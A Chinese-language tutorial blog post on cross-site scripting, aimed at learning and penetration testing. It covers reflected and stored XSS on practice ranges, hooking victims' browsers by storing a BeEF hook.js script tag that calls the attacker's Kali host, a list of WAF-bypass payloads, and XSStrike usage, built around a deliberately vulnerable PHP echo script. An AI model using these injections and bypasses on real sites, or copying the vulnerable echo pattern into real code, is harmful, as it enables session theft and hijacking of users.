XSS漏洞解析博客

在 Web 安全领域,XSS 漏洞是最为常见且危害巨大的安全漏洞之一。了解 XSS 漏洞的原理、分类、实战利用以及防护绕过方法,无论是对于 Web 开发者提升网站安全性,还是对于安全从业者提升渗透测试技能,都有着至关重要的意义。

一、XSS 简介与危害

1. XSS 是什么

跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入其中的 Script 代码会被执行,从而达到恶意攻击用户的目的。

2. XSS 的危害

XSS 漏洞一旦被利用,会给用户和企业带来严重的安全威胁,主要危害包括:

  1. 盗取各类用户账号,如机器登录帐号、用户网银帐号、各类管理员帐号

  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

  3. 盗窃企业重要的具有商业价值的资料

  4. 非法转账

  5. 强制发送电子邮件

  6. 网站挂马

  7. 控制受害者机器向其它网站发起攻击(重定向语句)

  8. 窃取 cookie 的 sessionid,冒充登录。

二、反射型与存储型 XSS

XSS 攻击主要分为反射型和存储型两类,它们的攻击方式和危害程度有所不同。

1. 反射型 XSS

反射型 XSS 是非持久化的攻击方式,攻击者构造恶意链接,当用户点击该链接时,服务器会将恶意代码反射给用户的浏览器,浏览器执行恶意代码从而完成攻击。

案例 1:简单的反射型 XSS 示例

编写一个简单的 PHP 文件1.php

复制代码
​
<?php
 $xss = $_GET['x'];
 echo $xss;
?>

当访问http://localhost/1.php?x=<script>alert(1)</script>时,浏览器会执行<script>标签中的代码,弹出提示框,这就是最简单的反射型 XSS 攻击。

案例 2:靶场中的反射型 XSS

以 pikachu 靶场的反射型 XSS 页面为例,访问http://111.230.104.121:8765/vul/xss/xss_reflected_get.php?message=2&submit=submit,我们可以通过两种方式插入恶意脚本:

  • 方式一:直接修改 URL,将 message 参数替换为恶意脚本的 URL 编码形式:http://111.230.104.121:8765/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert(1)%3C/script%3E&submit=submit

  • 方式二:通过 F12 进入开发者模式,修改输入框的长度限制,将lengthMax从 20 修改到 200,然后输入更长的恶意脚本。

2. 存储型 XSS

存储型 XSS 是持久化的攻击方式,攻击者将恶意代码提交到服务器的数据库中,当用户访问相关页面时,服务器会从数据库中取出恶意代码并返回给用户浏览器执行,攻击会持续存在,所有访问该页面的用户都会受到攻击,危害比反射型 XSS 更大。

案例:靶场中的存储型 XSS

以 pikachu 靶场的存储型 XSS 页面为例,访问http://111.230.104.121:8765/vul/xss/xss_stored.php,在输入框中输入<script>alert(1)</script>并提交,恶意代码会被存储到数据库中。之后所有访问该页面的用户都会触发弹窗,因为每次访问页面时,服务器都会从数据库中取出并执行这段恶意代码。

3. 总结

反射型 XSS 是一次性攻击,需要用户主动点击恶意链接;而存储型 XSS 是持久化攻击,所有访问相关页面的用户都会受到攻击,危害范围更广、危害程度更高。

三、XSS 综合实战案例

接下来我们通过 fdd 靶场的实战案例,来完整演示 XSS 漏洞的发现、利用以及通过 Beef 劫持网站的过程。

1. fdd 靶场搭建步骤

  1. 访问127.0.0.1/jfdd/install/install.php完成靶场的安装

  2. 安装完成后,前台地址为http://localhost/jfdd/,后台地址为http://localhost/jfdd/admin/login.php

2. XSS 漏洞重现

  1. 登录后台http://localhost/jfdd/admin/login.php

  2. 在后台的具体需求输入框中输入<script>alert(1)</script>并提交

  3. 当访问相关页面时,会触发弹窗,说明该页面存在 XSS 漏洞。

3. 使用 Beef 劫持网站

Beef-XSS 是一款功能强大的 XSS 漏洞利用工具,Kali 系统自带,基于 Ruby 语言开发,可以实现对用户主机的劫持和控制。

步骤 1:配置 Kali 软件源

首先修改 Kali 的软件源文件/etc/apt/sources.list,添加国内源以提高软件安装速度:

复制代码
​
#阿里源
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#中科大战源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#清华大学源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大源
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#东软大学源
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#网易Kali源
deb http://mirrors.163.com/debian wheezy main non-free contrib
deb-src http://mirrors.163.com/debian wheezy main non-free contrib

执行apt update更新软件源。

步骤 2:安装并启动 Beef
  1. 安装 Beef:apt install beef-xss

  2. 启动 Beef:beef-xss

  3. 初次使用 Beef 时需要设置密码,如果忘记密码,可以在/usr/share/beef-xss/config.yaml文件中查看。

步骤 3:注入 Beef 恶意脚本
  1. 启动 Beef 后,访问http://127.0.0.1:3000/ui/authentication,使用用户名beef和设置的密码登录 Beef 后台。

  2. 构造恶意脚本,将 Beef 的 hook.js 注入到靶场的数据库中,比如输入<script src="http://192.168.220.128:3000/hook.js"></script>(这里的 IP 是 Kali 主机的 IP 地址)。

步骤 4:劫持并控制主机

当用户访问包含该恶意脚本的页面时,会被 Beef 劫持,在 Beef 后台可以看到上线的主机。此时可以执行各种恶意操作,比如:

  • 使用commands--redirect命令跳转用户页面

  • 模拟用户在宿主机上下单

  • 执行其他恶意脚本操作

四、XSS 的 WAF 绕过

WAF(Web 应用防火墙)是防护 XSS 漏洞的重要手段,它会过滤掉恶意的脚本代码。但是我们可以通过一些方法绕过 WAF 的防护。

1. WAF 防护效果

当未开启 WAF 时,直接输入<script>alert(1)</script>就可以触发 XSS 漏洞。当安装安全狗等 WAF 并开启防护后,访问http://localhost/1.php?x=<script>alert(1)</script>会被 WAF 拦截,无法触发弹窗。

2. 手工绕过方法

(1)标签语法替换

WAF 通常会过滤<script>标签,我们可以使用其他可以执行脚本的 HTML 标签来替换,比如:

  • audio 标签:利用 audio 标签的 onerror 事件,当音频加载失败时执行脚本。

    复制代码
    ​
    <audio src=x οnerrοr=alert(47)>
    <audio src=x οnerrοr=prompt(1);>
    <audio src=1 href=1 οnerrοr=javascript:alert(1)></audio>

    访问http://localhost/1.php?x=<audio src=x onerror=alert(47)>即可触发弹窗。

  • video 标签:类似 audio 标签,利用 onerror 事件执行脚本。

    复制代码
    ​
    <video src=x οnerrοr=prompt(1);>
    <video src=x οnerrοr=alert(48)>
  • button 标签:利用按钮的 onfocus 或 onclick 事件执行脚本。

    复制代码
    ​
    <button οnfοcus=alert(1) autofocus>
    <button/οnclick=alert(1) >xss</button>
(2)ASCII 加密绕过

将脚本代码转换为 ASCII 码,然后使用eval(String.fromCharCode())执行,这样 WAF 可能无法识别恶意代码。比如alert(1)的 ASCII 码是 97,108,101,114,116,40,49,41,构造如下代码:

复制代码
​
<details open οntοggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >

访问http://localhost/1.php?x=<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >即可触发弹窗。

3. XSStrike 工具绕过

XSStrike 是一款开源的 XSS 检测工具,可以自动检测 XSS 漏洞并绕过 WAF 防护,项目地址为https://github.com/s0md3v/XSStrike

(1)XSStrike 准备工作
  1. 确保系统使用 Python3 环境,更新 pip:python.exe -m pip install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/

  2. 下载 XSStrike 后,安装依赖:pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/

(2)XSStrike 常用参数
复制代码
​
-h, --help //显示帮助信息
-u, --url //指定目标URL
--data //POST方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义paload字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义payload编码方式
--json //将POST数据视为JSON
--path //测试URL路径组件
--seeds //从文件中测试、抓取URL
--fuzzer //测试过滤器和Web应用程序防火墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过DOM扫描
--headers //提供HTTP标头
-d, --delay //设置延迟
(3)XSStrike 实战案例
  1. fuzz 测试:测试 WAF 的过滤规则,执行命令:

    复制代码
    ​
    python xsstrike.py -u "http://localhost/1.php?x=1" --fuzzer
  2. 直接探测:执行命令:

    复制代码
    ​
    python xsstrike.py -u "http://localhost/1.php?x=1"

    如果没有加载 payload,可能是因为1.php的代码问题,修改1.php为 HTML 形式:

    复制代码
    ​
    <!DOCTYPE html><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    欢迎来到
    </head>
    <body>
    <h1 align=center>欢迎</h1>
    <?php
     $xss = $_GET['x'];
     echo $xss;
    ?>
    <center>测试XSS</center>
    </body>
    </html>

    再次执行探测命令,就可以成功检测到 XSS 漏洞。

五、思考与练习

通过本文的学习,我们对 XSS 漏洞有了全面的了解,接下来可以通过以下练习巩固所学知识:

  1. 请你介绍 XSS 是什么。

  2. 请你说说 XSS 能够带来那些危害。

  3. 画出 Beef 配合 XSS 劫持网站的流程。

  4. XSS 的 WAF 绕过怎么做,请说出自己的理解。

六、总结

XSS 漏洞是 Web 安全中常见且危害巨大的漏洞,分为反射型和存储型,存储型的危害更大。通过 Beef 等工具可以实现对 XSS 漏洞的利用,劫持用户主机。虽然 WAF 可以防护 XSS 漏洞,但是我们可以通过标签替换、加密等手工方法,或者使用 XSStrike 等工具绕过 WAF 防护。作为 Web 开发者,应该通过对用户输入进行过滤、转义,使用 CSP 等手段来防护 XSS 漏洞,提升网站的安全性。

相关推荐
Eloudy7 小时前
ReAct 原理简介
前端·javascript·人工智能·react.js·agent·gpu
ZJU_统一阿萨姆8 小时前
【DSH】如何将 DeepSeek Harness 嵌入生产环境?万字解构 DeepSeek Agent Harness 的运行机制与安全边界
前端·javascript·安全
用户921080262868 小时前
4. 前端地图大量点位实时更新优化:后端推增量,前端做 diff
前端
SoaringHeart9 小时前
Flutter最佳实践:Web项目中文字体首次加载乱码问题解决
前端·flutter
西安小哥9 小时前
破局与重生:大厂前端如何借力 AI 转型“超级全栈“
前端·人工智能
sunly_10 小时前
TypeScript总结:16、面向对象速查
前端·javascript·typescript
MXN_小南学前端10 小时前
React超长文本域中实现“返回顶部”浮动按钮
前端·javascript·react.js
学习嵌入式的小周10 小时前
Notepad++8.8.7下载安装(附安装包)
前端·notepad++
gs8014010 小时前
解构 Cordis:面向“时空可组合性”的 TypeScript 元框架深度剖析
前端·javascript·typescript
岁岁种桃花儿11 小时前
Vue核心语法第一篇:Vue是什么?
前端·javascript·vue.js